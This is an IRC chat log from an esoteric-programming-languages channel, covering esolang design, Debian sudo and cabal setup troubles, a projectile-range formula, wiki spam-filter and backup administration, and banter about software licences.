23:04:42 <zzo38> He picked up way too many cards! Now he has only ten turns remaining and still needs to pick up six side cards to win, I don't think so especially since they keep getting paralyzed
23:06:08 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28199
23:11:33 <Friendship> That being said, I assumed he was talking about caps, not exclamation points?
23:11:47 <Friendship> And my main thing is that I used to overuse the tongue-face smiley, anyway.
23:14:33 <zzo38> They have a lot of ENERGY REMOVAL and stuff, but none of that will help if you are just going to deck yourself.
23:15:05 <PiRSquared17> wtf was with <Keymaker> !!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!
23:16:00 <oerjan> i suspect he may have wanted some !!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!ATTENTION!!!!!!!!
23:16:21 <zzo38> Especially if your opponent has enough defense.
23:17:56 <oerjan> http://codu.org/logs/_esoteric/2005-01-21.txt
23:18:06 <oerjan> it doesn't clarify very much
23:19:53 <oerjan> Friendship: what's more strange is that that log file seems to contain everything twice
23:26:16 <Friendship> mRoman: Discuss similarities re Stlang and Glass kthx?
23:27:31 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.24049
23:28:14 <Friendship> oerjan: In response to your previous statement, that is a lie and you should feel bad.
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23:36:51 <itidus20> wow that jhix guy.. <nooga> he's 14 and he's writing interpreters in haskell and he knows lambda calculus and everything!!!!!!
23:37:17 <monqy> what's so special about that
23:38:32 <itidus20> that depends on whether writing interpreters, coding in haskell, and knowing LC is special or if not really
23:40:23 <itidus20> the jury is out... unfortunately i selected a jury of lollypop ladies
23:41:10 <pikhq> itidus20: Special relative to the general populace. Not very special relative to the set of people for whom that sentence makes sense.
23:45:13 <itidus20> the trick [as trick identification is always important when describing things] is to extend every other activity and skill a person does and has by the development of new skills and activities
23:49:40 <itidus20> i think i wanted to say something like "extend every extra"
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00:03:05 <hagb4rd> hi! i need some help with a ballistic calculation. i've this formula: Range = (InitialVelocity^2 x sine (2 x Angle)) / g ..now i need to modify it, so i can calculate the range so it works if shot from a specified height. can you help?
00:03:06 <hagb4rd> Read more: How to Calculate the Distance of a Projectile | eHow.com
00:03:32 <hagb4rd> ignore the read more thing
00:07:08 <quintopia> the flight time of a projectile is -.5*g*t^2+V_0*sin(theta)*t+h_0=0
00:07:32 <quintopia> so, apply quadratic formula, using the plus solution
00:09:26 <quintopia> the range is V_0*cos(theta)*t (where t is calculated as previously described)
00:18:08 <Sgeo> kallisti_, update
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01:24:42 <zzo38> Someone suggested for me to make roguelike game once; maybe I could make up "Extensible-Roguelike", using Haskell, and extensible-data and hampp. If you want to add rule variants, spells, kind of creatures, classes, items, areas, macros, etc, then you can just add a file.
01:24:50 <zzo38> And then recompile the program.
01:25:05 <zzo38> Rather than having to adjust the entire program to work with any changes you have made.
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01:40:10 <itidus20> to be honest, i don't like academization of what can loosely be termed scripting languages. I am just glad that you can't patent a grammatical structure in english.
01:40:36 <itidus20> An author could rise to prominence by being the only one allowed to split an infinitive.
01:41:20 <itidus20> You could buy a license to legally split infinitives from him.
01:41:59 <Friendship> He'd make millions from Star Trek royalties alone.
01:43:14 <oerjan> A different patent, getting royalties from Star Wars would require.
01:46:14 <itidus20> Now heres something to consider.
01:46:27 <itidus20> If you have a machine which translates english into algorithms
01:46:42 <itidus20> can you get away with coding all your software in english and dodge patents?
01:46:55 * oerjan demands royalties from itidus20 for violating his apostrophe omission patent
01:47:00 <itidus20> i guess not.. i am not thinking it through
01:47:40 <itidus20> or.. if you speak and a machine nearby with a microphone and voice recognition just happens to overhear you
01:47:56 <itidus20> and just happens to process your speech and perform some calculations
01:48:14 <itidus20> then if they outlaw that perhaps freedom of speech is being challenged
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02:03:47 <Friendship> kallisti_: Unlike Ubuntu, Debian sticks with the classique root-password system by default.
02:04:00 <Friendship> If you install sudo, you have to add users to the "sudo" group for them to have Ubuntu-like sudo privs.
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02:04:26 <Friendship> And no, of course it doesn't have compilers installed by default.
02:04:46 <kallisti_> actually I'm installing emacs first. :P
02:05:58 <kallisti_> this is good though because I'll probably pick up a few sysadmin things along the way
02:06:16 <kallisti_> I should run Arch or Gentoo or something for a crash course, I think.
02:09:11 <kallisti_> oh apparently I'm supposed to use visudo..
02:14:30 <pikhq_> Strictly speaking not necessary... visudo locks the sudoers file and performs syntax checks afterwards.
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02:26:19 <kallisti_> Friendship: so basically I just add myself to the sudo group....?
02:28:24 * kallisti_ is curious as to what happens when he tries to edit sudoers with something other than visudo REBELLIOUSLY AGAINST THE RULES OF THE SUDOER FILE.
02:32:20 * pikhq_ notes that spaghetti carbonara = delicious
02:33:49 <kallisti_> yeah so I added myself to sudo but sudo complains that I'm not in the sudoers file...
02:36:30 <kallisti_> /etc/group confirms that I'm there...
02:38:23 <pikhq_> Your currently running login probably isn't in the sudo group.
02:38:32 <pikhq_> Groups are a per-process property.
02:38:53 <pikhq_> /etc/group, IIRC, is just used by /bin/login to set your initial groups.
02:39:22 <kallisti_> that means you can't change someone's group mid session...
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03:14:13 <kallisti_> pikhq_: U MEAN LINUX NOT PERFECT OS?????
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03:25:14 <Sgeo> kallisti_, tswett has been UIPDATED
03:26:08 <kallisti_> okay so I've added xmonad stuff to my .xsession
03:26:15 <kallisti_> but Debian apparently doesn't execute that by default?
03:28:04 <tswett> kallisti_: Sgeo has been WILCOED.
03:28:41 * Sgeo has no idea what that means >.>
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03:45:20 <kallisti_> yeah so one of the tests of syb runs out of memory
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03:53:48 <kallisti_> there's something strangely pleasant about configuring this all by hand
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04:00:09 <kallisti_> would there be any reason not to move /root/bin to some other bin in my default PATH?
04:01:18 <kallisti_> if only elliott were here. he would tell me how horrible of an idea that is.
04:01:57 <itidus20> write it in recursive handwriting
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04:05:28 <kallisti_> also would there be a reason not to copy my /etc and home directories from this install to my real install in order to speed up the setup time?
04:09:32 <kallisti_> I guess I could just copy my bash history and run most of that verbatim. :P
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04:11:59 <kallisti_> here's what I've been doing for the past 30 minutes:
04:12:10 <kallisti_> find out I'm missing some kind of *-dev package
04:12:17 <kallisti_> apt-get install that. wait for it install like 30 packages.
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04:23:06 <kallisti_> must be like 5 lines of code in each one. :P
04:23:34 <kallisti_> oh wait I think this xmonad-contrib now. nevermind
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04:34:42 <kallisti_> normally, there's a .cabal directory
04:34:50 <kallisti_> but... I can't find cabal stuff anywhere.
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04:37:45 <kallisti_> okay, so... apparently sudo installs things in /root
04:38:42 <kallisti_> ugh, how do I get Debian's sudo to run exactly like Ubuntu's. :P
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07:12:30 <zzo38> I was thinking about my ideas for Ibtlfmm programming language (I might eventually write a specification document, and/or a compiler, and/or a tag in Phlogjournal for stuff I occasionally write about it). One thing is that unlike Haskell, a class can be many things; it can be: a type signature of a method, a tag, a type family, a mathematical law, or a combination of classes.
07:14:52 <zzo38> If you need to make methods into separated classes, it already is; if you want to define superclasses afterward you can do so if it can be automatic; if something can be equivalently defined using one function or using multiple others, it can be added on later and work both ways (such as a monad using bind or join/fmap); etc
07:36:41 <zzo38> Do you have opinion about this?
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07:58:20 <zzo38> Idea of kinds is * for ordinary inhabited types, # for raw types (using LLVM or whatever is going to be used), + for natural number types, & for constraints, @ for program modules, and -> as the function between kinds. User-defined kinds have alphanumeric names.
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08:40:50 <zzo38> We can have many levels of meta-programming available.
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10:10:43 <itidus21> Basic Input/Output Commander guy is at work on his page :-D
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10:12:41 <itidus21> he encoded a display of the lime slices in BIOC :-D
10:13:15 <kmkr> @PiRSquared17 i happened to read logs and to answer your question, i think i did that "!!!attention!!!" thing a few times to get people roused. although it was probably useless because i was largely here at wrong times and nobody was around.
10:13:45 <kmkr> damn. is @ doing something?
10:14:03 <kmkr> to PiRSquared17: i happened to read logs and to answer your question, i think i did that "!!!attention!!!" thing a few times to get people roused. although it was probably useless because i was largely here at wrong times and nobody was around.
10:14:25 <kmkr> i admit that it's annoying as f::: and i wouldn't do so today, 7 years later.
10:16:10 <kmkr> well, one learns better... anyway. now when i'm here, i want to thank everyone for making truth-machines, it's truly great to see so many of them in languages i didn't know almost anything about.
10:21:01 <kmkr> this is what i meant, i'm always timing my visits when nobody else is here... :\
10:25:37 <kmkr> anyway, i could just as well inquire if anyone has tried "hollow"? i find the language surprisingly expressive and making a self-interpreter is something that's on my list.
10:27:51 <kmkr> an esolanguage from 2005
10:29:03 <mRoman> Stlang has pattern matching, anonymous functions and sadly no constructors no destructors
10:29:17 <mRoman> although I can implement constructors in 20 seconds.
10:29:54 <mRoman> destructors are way more complicated.
10:30:19 <mRoman> python has destructors
10:30:29 <mRoman> and Objects are Pythonobjects, so that wouldn't be a problem
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10:41:45 <mRoman> http://codepad.org/5aGioOj3
10:47:19 <kmkr> by the way, has anyone managed anything in sortle? it's an esolang from some years back that i think might be worth some interest. i've tried to take a crack at it a few times but haven't managed anything worth mentioning.
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10:49:04 <kmkr> i have a feeling there might be ways to program in it even if it might get complicated like /// (which i still don't get...)
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11:26:19 <mRoman> http://codepad.org/AWE5cttL <- good luck finding a hello world programm :D
11:28:07 <Taneb> Good luck being brickbrained by Phantom Hoover
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12:05:54 <mRoman> hm. there's a bug anyway
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12:33:42 <HackEgo> mRoman: 806) <Phantom_Hoover> BF derivatives are a cancer running throughout the fringes of the esolang community, and as the fringes vastly outweigh the core, we're screwed.
12:36:14 <fizzie> There seem to be no quotes about the bricks, but it's the usual response.
12:37:04 <fizzie> <ais523> <Star651, via email> Is this a spambot or something? I just got a user talk page message from Phantom Hoover about the BF-inspired languages, the "brick brain brochure."
12:38:23 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.23910
12:52:02 <Phantom_Hoover> mRoman, HW is trivial, BtW; you can pad the program out with empty loops to set the iptr.
12:53:13 <mRoman> I actually don't know what I've thought when I wrote that ;)
13:04:36 <mRoman> Friendship: Glass has no inheritance. At least nothing like that is mentioned in the article.
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13:26:58 <Friendship> It has no typing, so you can always duck it.
13:29:03 <mRoman> Stlang has also no typing, which is why you can cast a class in any other class
13:32:33 <mRoman> Stlang has no builtin classes
13:32:39 <mRoman> but a lot of powerful builtin functions.
13:35:25 <mRoman> But what exactly do you wanna know?
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14:48:22 <mRoman> 134 builtin-functions yet, to be precisely.
14:48:45 <mRoman> so probably around 100.
14:53:35 <kmc> oh man, this is going to be impossible to debug
14:54:01 <kmc> i've written an interpreter for a tiny fexpr language in Scheme
14:54:13 <kmc> and then some library code for that language to make it enough like Scheme that it can run said interpreter
14:54:32 <kmc> but it's broken.
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15:13:32 <olsner> kmc: if you need to debug you have already lost
15:17:26 <kmc> otoh a metacircular evaluator serves as its own test suite *and* reference implementation
15:17:29 <kmc> so that's kinda nice
15:20:54 <kmc> i think i found the bug
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18:24:12 <kallisti_> Friendship: hi I just installed xinit how do I make Xorg happen?
18:24:40 <kallisti_> or whenever it's supposed to happen automatically
18:30:59 <Friendship> Idonno, depends on distro? On Debian the easiest way is to install a DM.
18:31:52 -!- elliott has joined.
18:32:00 <elliott> http://esolangs.org/w/index.php?title=Basic_Input/Output_Commander&curid=8301&diff=30609&oldid=30582 ...
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18:39:34 <elliott> The text you wanted to save was blocked by the spam filter. This is probably caused by a link to a blacklisted external site.
18:39:34 <elliott> The following text is what triggered our spam filter: http://cheap-viagra
18:40:20 <elliott> mRoman: btw linking has always been case-sensitive
18:40:23 <elliott> just not in the first letter
18:47:37 <elliott> Phantom_Hoover: Well, I *got* it, I just didn't get it in any deeper sense.
18:47:49 <elliott> I wasn't sure whether there was any deeper sense I was missing in the first place.
18:48:20 <elliott> 23:02:51: <Friendship> <elliott> "I LIKE WRITING BIG, IT MAKES ME FEEL COOL" -- Friendship, 2005
18:48:21 <elliott> 23:02:55: <Friendship> I /probably/ said this.
18:50:24 <elliott> 23:36:51: <itidus20> wow that jhix guy.. <nooga> he's 14 and he's writing interpreters in haskell and he knows lambda calculus and everything!!!!!!
18:51:28 -!- kallisti_ has quit (Ping timeout: 244 seconds).
18:53:49 <elliott> 01:55:16: <kallisti_> wait, Debian doesn't have sudo?
18:53:49 <elliott> 01:55:49: <kallisti_> not by default it seems
18:54:07 <elliott> @tell kallisti Yes, Debian does have sudo by default, you just ignored my explicit and direct instructions on how to get it to use sudo by default.
18:54:18 <elliott> @tell kallisti And Ubuntu doesn't have gcc by default either.
18:54:33 <elliott> Friendship: Debian isn't root-password-only these days.
18:54:37 <elliott> The default installer mode supports setting up sudo.
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18:56:39 <elliott> 04:00:09: <kallisti_> would there be any reason not to move /root/bin to some other bin in my default PATH?
18:56:39 <elliott> How the fuck did you even get /root/bin?
18:56:57 <elliott> 04:05:28: <kallisti_> also would there be a reason not to copy my /etc and home directories from this install to my real install in order to speed up the setup time?
18:56:57 <elliott> Sure, if you want to break things faster.
18:57:11 <kallisti> elliott: turns out that by default sudo doesn't preserve your hold $HOME
18:57:11 <lambdabot> kallisti: You have 3 new messages. '/msg lambdabot @messages' to read them.
18:57:22 <kallisti> but if you add a line to sudoers that fixes it.
18:57:23 <Friendship> <elliott> Friendship: You did. // yeah, I found it X-D
18:57:28 <elliott> 04:37:39: <kallisti_> hm, oh...
18:57:28 <elliott> 04:37:45: <kallisti_> okay, so... apparently sudo installs things in /root
18:57:33 <elliott> You're not meant to run cabal-install as root.
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18:57:53 <elliott> kallisti: And that's a dangerous setting.
18:58:05 <elliott> (You're only meant to run cabal-install as root when you have global instalsl set up, and those aren't recommended.)
18:58:57 <kallisti> oh wait.... does slim use xinit or startx..
18:59:16 <elliott> And I have no idea what the fuck you're talking about.
18:59:29 <kallisti> well, slim starts X for me, right?
19:00:16 <elliott> kallisti: You should remove all ~/.cabal ~/.ghc you have.
19:00:21 <elliott> If you installed them as root it's horribly broken.
19:01:05 <kallisti> yes, with the setting to keep HOME
19:01:54 <kallisti> really, it should keep all of the env variables...
19:01:56 <elliott> You are meant to run cabal as your ordinary user.
19:02:01 <elliott> That's a massive security hole.
19:02:48 <elliott> You don't get a ~/.ghc as the result of doing that. Why do you think you would?
19:04:31 <kallisti> the main reason I want to preserve PATH is so that I can use sudo to install things that requires admin privs.
19:04:47 <elliott> 12:37:04: <fizzie> <ais523> <Star651, via email> Is this a spambot or something? I just got a user talk page message from Phantom Hoover about the BF-inspired languages, the "brick brain brochure."
19:05:04 <elliott> kallisti: And why would you want those to go in $HOME?
19:05:10 <elliott> root shouldn't own things in $HOME.
19:06:00 <kallisti> because that's how Ubuntu works and I like the way it works in Ubuntu.
19:06:09 <elliott> No, it doesn't "work" like that in Ubuntu.
19:06:15 <elliott> Ubuntu has never recommended you use sudo to install things into $HOME.
19:06:19 <elliott> That's completely nonsensical advice.
19:06:41 <kallisti> so there's no such thing as a package that makes use of $HOME in any way?
19:07:00 <kallisti> to say, create a hidden directory with config info or other data?
19:07:23 <elliott> I'm putting you on /ignore; the number of incoherent questions exceeds my ability to care about answering them.
19:08:15 <kallisti> elliott apparently has this delusion that people who ask questions actually have all the information they need to start with.
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19:10:48 <ion> There’s nothing wrong with using ~ for your personal stuff. No, not in Ubuntu either.
19:11:08 <kallisti> that's not quite what we're talking about.
19:11:36 <kallisti> I was under the impression that when I use apt-get to install packages, it also leaves directories in $HOME
19:11:56 <kallisti> or rather, it can leave a directory in $HOME
19:12:44 <ion> That would be utterly broken behavior.
19:12:58 <elliott> ion: Of course there's nothing wrong with that.
19:13:08 <elliott> ion: There's something wrong with using "sudo cabal" and wanting it to install into $HOME
19:13:18 <elliott> And, in general, installing things into $HOME using sudo for no apparent reason.
19:13:44 <Sgeo> elliott, ion is calling "sudo apt-get install making things in people's $HOME" broken behavior that doesn't exist.
19:13:51 <Sgeo> In case you missed what kallisti said
19:14:13 <elliott> Ah. Yes, I did, thankfully.
19:15:01 <ion> Well, apt-get install needs write permissions to stuff outside $HOME in any case, i thought root permissions were implied.
19:15:28 <elliott> Right, I didn't see any mention of apt-get.
19:16:06 <kallisti> 14:06 < kallisti> so there's no such thing as a package that makes use of $HOME in any way?
19:16:19 <kallisti> I see how you might have been confused.
19:18:16 <kallisti> but seriously that would have taken at most 2 replies to figure out what I was saying.
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19:19:51 <elliott> Hey Phantom_Hoover, how do I avoid the awkward plural->singular transition in "General links to people should be to standard namespace articles on them, if one exists"?
19:21:28 <elliott> Phantom_Hoover: But surely "General links to people should be to standard namespace articles on them, if one exists, and to their user page otherwise." is awkward? It goes from plural to singular within the main bulk of the sentence.
19:21:42 <elliott> Blah, that sentence is a complete mess.
19:29:52 <Sgeo> Did kallisti fail to note that you had em on ignore?
19:32:05 <elliott> Phantom_Hoover: You should totally rewrite my sentence.
19:33:07 <elliott> Dammit. Now I'm legally required to make that policy.
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19:36:30 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
19:36:34 <lambdabot> elliott said 31m 40s ago: god bless
19:36:48 <ais523> hmm, the university lawyers have got back to us on the software license for this hardware compiler thing
19:37:03 <ais523> haha, it's one of those big EULA things
19:37:30 <elliott> ais523: <elliott> 12:37:04: <fizzie> <ais523> <Star651, via email> Is this a spambot or something? I just got a user talk page message from Phantom Hoover about the BF-inspired languages, the "brick brain brochure."
19:37:30 <elliott> <elliott> @tell ais523 god bless
19:37:55 <elliott> ais523: it's not going to be under a free license? :(
19:38:16 <ais523> it also contains a reservation of the reverse engineering right, which is funny as we're planning to supply source
19:39:15 <ais523> no, I might mention that it's vaguely ridiculous to put a reverse engineering clause in something that can't, by definition, be reverse engineered
19:39:30 <elliott> I meant, the license in general
19:39:41 <ais523> no, we get to supply feedback
19:39:44 <elliott> actually, is an EULA even a valid source code license?
19:39:55 <elliott> it sounds like they've completely misunderstood what is required
19:40:05 <ais523> it specifically permits derivative works under some circumstances
19:40:36 <elliott> *distribution of derivative works, presumably
19:40:37 <ais523> hmm, does what you'd want to do with it fall under the category of "academic teaching or non-commercial research"?
19:40:51 <ais523> it allows you to create them, but not distribute them
19:40:59 <elliott> ais523: err, creating derivative works is always permissable
19:41:02 <ais523> that also looks like a mistake
19:41:05 <elliott> licenses are about redistribution...
19:41:11 <ais523> elliott: it's a contract-based license, not copyright-based license
19:41:13 <ais523> those can go a bit further
19:41:36 <ais523> it's perfectly possible to make a contract with someone that they won't make a derivative work of something, in return for something else
19:41:36 <elliott> I don't suppose you'll be able to convince them to license it under something sane :p
19:42:07 <elliott> ais523: it would probably fall under non-commercial research, but I'll probably just try it out, assuming I can figure out a way to download it without agreeing to a contract
19:43:03 <ais523> get someone under 18 to download it?
19:43:16 <ais523> (I'd love to try that trick some day, as far as I can tell it's legally valid, but it's never been tested)
19:44:07 <elliott> ais523: coppro tried to get money back from a Windows license, IIRC
19:44:15 <elliott> despite agreeing to a contract saying he wouldn't try to
19:44:20 <elliott> because he was a minor at the time
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19:44:34 <ais523> although, right, that'd be Canadian law
19:44:36 <elliott> (it came with a computer, I think)
19:45:13 <ais523> I was very impressed with Toshiba for putting the "you will not try to seek a refund for Windows" contract on the outside of the box, visible before I bought it, and colored in a way that it was prominent and visible
19:45:19 -!- oerjan has set topic: My Little Stallman: Freedom is Magic | So good to be in the Evening....In Europe! | http://codu.org/logs/_esoteric/ | http://esolangs.org/wiki/ has moved servers!.
19:45:54 <ais523> so I could actually make an informed decision about whether to buy the laptop based on the contracts that came with it
19:46:40 <ais523> (actually, in the UK, doing that may be required for it to be legally binding, based on some opinions by an important government lawyer that were made in a non-legally-binding way)
19:47:09 <oerjan> <kallisti_> also there's no cabal...
19:47:23 * oerjan wonders how many here remember that one
19:47:39 <ais523> <strike>[http://not.found.yet/bioc/c-compilers Original C/C++/C# compiler source code for Basic Input/Output Commander]</strike> (no source found yet)
19:47:52 <elliott> can we find an excuse to delete that thing?
19:47:57 <ais523> oerjan: not only do I remember it, I know the original context too
19:48:00 <ais523> (it predates the Web, IIRC)
19:48:09 <Sgeo> Delete what thing?
19:48:15 <elliott> ais523: that external link makes me think Esme
19:48:27 <elliott> like the author of the article is trying to troll us really badly
19:48:31 <elliott> Sgeo: http://esolangs.org/wiki/Basic_Input/Output_Commander
19:48:32 <ais523> sure it's not the same person?
19:48:57 <elliott> ais523: hmm, the rest of the article doesn't remind me of him
19:48:58 <ais523> elliott: hmm, I'm vaguely remembered of a case where someone who's known as quite a good troll deliberately trolled badly, as a form of metatrolling
19:49:01 <elliott> it actually has concrete details, for one
19:49:58 <elliott> heh, [[Esme]] isn't in [[Category:Languages]] or [[Category:Joke languages]]
19:50:04 <elliott> I almost went to fix that, then realised it's correct
19:50:35 <oerjan> is it in Category:Shameful?
19:50:41 <ais523> yes, despite that category not existing
19:50:51 <ais523> I think category:shameful was invented for it
19:51:19 <elliott> YOU'RE NOT MEANT TO LET THE WIKI OWNER FIND OUT ABOUT THAT CATEGORY
19:51:23 <ais523> meanwhile, how long is it going to be before mobile phone lawsuits hit singularity?
19:51:32 <ais523> elliott: but, wasn't it you who came up with it?
19:51:34 <oerjan> elliott: you created it, right?
19:51:50 <elliott> that doesn't invalidate the policy!
19:52:29 <ais523> that means we're not letting you find out about it, because you know already
19:52:39 <oerjan> maybe it should be mentioned in Category Talk:Shameful
19:53:34 <elliott> shouldn't it be bright by now, then?
19:54:12 <oerjan> <elliott> how is it still february <-- well it _is_ the groundhog month...
19:54:45 * ais523 is not really with it either
19:56:52 <oerjan> <zzo38> I was thinking about my ideas for Ibtlfmm programming language <-- i'm sorry but elliott will never be able to distinguish that from Itflabtijtslwi.
19:57:31 <elliott> i think i can remember "itflab", if i try real hard
19:58:02 <elliott> oerjan: btw keymaker comes in later :DDDD
19:58:37 <elliott> apparently he read the logs. which is even scarier a thought than when graue came in here a few days ago
20:00:17 <oerjan> they haven't added trollface to unicode yet, have they?
20:00:47 <elliott> can you or ais523 kick you thaanxekr
20:00:59 <oerjan> that will probably be the day elliott swears off the internet and become a cave dweller together with grigori perelman
20:01:38 <oerjan> ais523: i think my idea made his brain crawl
20:01:57 <elliott> ais523: he's saying a lot of confusing words
20:02:30 <elliott> he semese cenenegele desegesede
20:02:35 <ais523> oerjan: have you ever seen Just Connect? you probably haven't because it's on BBC4, and people rarely watch that even in the UK
20:02:52 <oerjan> elliott: it's for both lines
20:03:00 <ais523> it has a round where you have to reconstruct phrases which have had their vowels removed, and they're often really difficult
20:03:03 <elliott> ais523: i thought it was only connect ..... i haive ino idea why i know this
20:03:09 <ais523> elliott: oh, you might be right
20:03:12 <oerjan> ais523: even so i don't watch tv
20:03:14 <elliott> oerjan: no i mean too many vowels for me to stick in my head
20:03:20 <elliott> and keep track of position in
20:03:33 <ais523> oerjan: not at all? if so, I've watched more Norwegian TV than you have :)
20:03:36 <oerjan> actually i _have_ happened upon weakest link
20:04:03 <elliott> weakest link is our produest cultural export
20:04:06 <ais523> elliott: "he seems cunningly disguised"
20:04:07 <oerjan> ais523: well it has happened sometimes in other people's places
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20:05:10 <elliott> oh no now i have to decide between the two chrome adblocking extensions again
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20:05:48 <elliott> aaaaah my scherzo is unmeasurable
20:06:07 <oerjan> `addquote <elliott> aaaaah my scherzo is unmeasurable
20:06:15 <oerjan> i have _no_ idea what that means
20:06:19 <elliott> i was looking for some other german word
20:06:21 <HackEgo> 810) <elliott> aaaaah my scherzo is unmeasurable
20:06:24 <elliott> like oe of those words everyone says cant be translated into english
20:06:33 <elliott> but all i could think of was scherzo
20:06:45 <elliott> i thought of that one, its not that one though
20:06:50 <elliott> then i thought of schengen but its not that either
20:07:05 <elliott> then i typed in what it soudned like into googl ebut it was obviously wrong because it corrected me to arnold schwarznegger
20:07:16 <elliott> oerjan: yes that might be it
20:08:16 <elliott> Fahrvergnügen (German pronunciation: [ˈfaːɐ̯.fɛɐ̯ˌɡnyːɡn̩]) was an advertising slogan used by the German automobile manufacturer Volkswagen in a 1990 U.S. ad campaign that included a stick figure driving a Volkswagen car.[1]
20:08:35 <elliott> wir fahrvergnugen fahrvergnugen fahrvergnugen auf der autobahn
20:09:10 <elliott> ais523: fuck that. all vowels are teh same
20:09:19 <oerjan> (that came up in a newspaper quiz today)
20:09:41 <oerjan> elliott: so why do you protest when i leave them out?
20:09:41 <ais523> closest thing to ü in English is "er", although it isn't that close
20:09:49 <ais523> whereas German u is pretty similar to English u
20:10:13 <elliott> oerjan: theyre the SAME but they're not OPTIONAL
20:12:39 <oerjan> btw that reddit self-ad for fifthworldproblems creeps me out, especially after i learned what CMEPT means
20:13:04 <elliott> ais523: http://www.reddit.com/r/fifthworldproblems
20:13:08 <elliott> (there is no point trying to explain)
20:13:59 <oerjan> (ok i'm approximating with latin letters here)
20:14:12 <oerjan> which is rather backwards from germanic
20:14:54 <oerjan> and ge:Schmertz of course
20:15:52 <oerjan> i hesitated on that one
20:17:22 <elliott> ais523: does your operating system have a zsync package
20:17:29 <elliott> oh its ubuntu i guess it does
20:18:03 <ais523> gah, my boss has sent me an email that makes Evolution segfault when I try to read it
20:18:15 <ais523> or at least, close unexpectedly, not sure if it's SEGV in particular
20:18:15 <elliott> its' tryingt o protect you
20:18:25 <elliott> oerjan: does your operating system have a zsync package (this is a comedy)
20:18:31 <ais523> I'll see if I can read it through webmail, haven't used that for my university account for ages
20:18:46 <oerjan> ais523: a minor explanation, it _is_ of course weakly inspired by r/firstworldproblems. actually that may not help at all.
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20:20:05 <oerjan> or actually it does. firstworldproblems is about problems you only have because you have money in the first place
20:20:09 <ais523> meanwhile, Yahoo! have broken their POP certificate again
20:20:21 <elliott> Deewiant: does y- oh, arch, so yes
20:20:33 <oerjan> fifthworldproblems is about problems you can only possibly imagine having.
20:20:41 <elliott> does anyone use anything that isn't a debian derivative or arch or windows :P
20:20:54 <elliott> does solaris have "packages"
20:21:00 <elliott> isn't there a popular repository for it or something
20:21:04 <elliott> with a bunch of ported stuff
20:21:11 <Deewiant> https://www.opencsw.org/ maybe
20:22:07 <elliott> Deewiant: anyway whatever, do you have a convenient package for zsync
20:22:23 <elliott> i guess i should ask some bsd users if i want relevant answers
20:22:23 <oerjan> <elliott> oerjan: does your operating system have a zsync package (this is a comedy) <-- no, i just brush my teeth normally
20:22:34 <elliott> Deewiant: (if so, which version)
20:22:39 <elliott> ais523: (which version is yours?)
20:23:51 <elliott> that's the same version i had
20:23:54 <ais523> I'm wondering if I've missed the point of the question
20:23:56 <elliott> i thought it was on 1.6 for some reason
20:24:07 <elliott> ais523: i'm working on esolangs.org wiki backups
20:24:21 <elliott> my current plan is to distribute the mediawiki XML backup via zsync (= rsync over standard HTTP)
20:24:40 <elliott> because that means people can update it daily with like a kilobyte to download rather than 20 megs
20:24:46 <elliott> without me having to maintain a separate rsync server
20:25:06 <elliott> so i'm just checking that reasonable OSes have zsync
20:25:10 <ais523> elliott: btw, can I get rid of the encrypted wiki backup? I just remembered it's illegal in the UK to have encrypted files you don't know the password to (which is stupid, but there you go)
20:26:00 <oerjan> <mRoman> and Objects are Pythonobjects, so that wouldn't be a problem <-- THAT'S CHEATING
20:27:52 <oerjan> some day the uk parliament will pass a law that accidentally prohibits breathing, and that will be the end of ais523.
20:28:06 <ais523> oerjan: I'd break laws if the alternative were death
20:28:40 <elliott> what if the alternative was living inside a small metal box for the rest of your life
20:29:10 <ais523> elliott: there's a boundary somewhere, but I haven't quite worked out where yet
20:29:13 <ais523> and don't care to find out
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20:35:33 <Deewiant> elliott: I'd need to update the repository due to opensolaris no longer existing, but there seems to be some kind of server problem... opencsw.org doesn't have it, anyway, and given that it's only in AUR it's unlikely to be in Solaris
20:36:06 <elliott> Oh well, sucks to be Solaris users
20:36:29 <Deewiant> Doesn't matter, there's never any updates or anything anyway
20:36:48 <elliott> i meant re not having zsyncgood, it's in freebsd
20:37:47 <elliott> but not netbsd oh well!!!!
20:38:41 <elliott> Deewiant: everyone forgot dragonfly
20:40:44 <elliott> Deewiant: did you know cpressey wrote dragonfly's installer????
20:40:53 <zzo38> Can you make the spam blacklist and abuse filters bypassed if and only if found inside of a <pre><nowiki> block and that the URL or text must be inserted by a autoconfirmed user? (So if not autoconfirmed, or not a <pre><nowiki> block, the blacklist will take effect and prevent you from saving the page) (Some people might invent "Casino Viagra" esolang; I have had this idea myself)
20:41:05 <elliott> oh dragonfly just uses pkgsrc
20:41:09 <elliott> SUCKS TO BEDRAGONFLY USERS
20:41:19 <elliott> zzo38: I can whitelist problematic entries
20:41:47 <elliott> probably the list frmo metawiki isn't helping all that much anyway
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20:42:29 <ais523> zzo38: that is technically possible, but I'd rather only do it on a case-by-case basis
20:42:37 <zzo38> I have not had any problems so far; I am simply mentioning a strange idea about esolangs
20:42:37 <ais523> (we can move the URLs from the spam blacklist to the abuse filter if necessary)
20:42:51 <ais523> (which can be set to allow specific users to add the URLs, or specific user groups)
20:43:01 <elliott> ais523: well in this case it was "cheap-viagra" that caused problems :)
20:43:11 <elliott> because it's on metawiki's master blacklist
20:43:20 <elliott> I just removed the http:// to get past it
20:43:35 <zzo38> Still, that is not the kind of problem I was talking about.
20:44:00 <zzo38> I was talking about an esolang where the source code might occasionally contain such blacklisted URLs
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20:44:48 <elliott> zzo38: the problem with only allowing insertion by autoconfirmed user is that MW doesn't really keep track of insertion
20:44:54 <elliott> so such an extension would likely block all non-autoconfirmed users out
20:45:23 <zzo38> And, anyways, I was once on some wiki which blacklisted my own domain name (zzo38computer.cjb.net). I had an http:// URL; entering a gopher:// URL was accepted.
20:45:38 <elliott> probably it blacklisted cjb.net
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20:46:53 <ais523> elliott: AbuseFilter can be set to only block addition of links, not edits that preserve links that were already on the page
20:46:55 <zzo38> Yes, I guess so. But, cjb.net is used both as URL redirection and as dynamic DNS. When used as URL redirection obviously only http:// works; but used as dynamic DNS it can be any URI scheme so I suppose it works; if the URI scheme is gopher:// then you can know it is not a URL redirection!
20:47:30 <ais523> AbuseFilter is more flexible
20:47:36 <ais523> but SpamBlacklist scales better
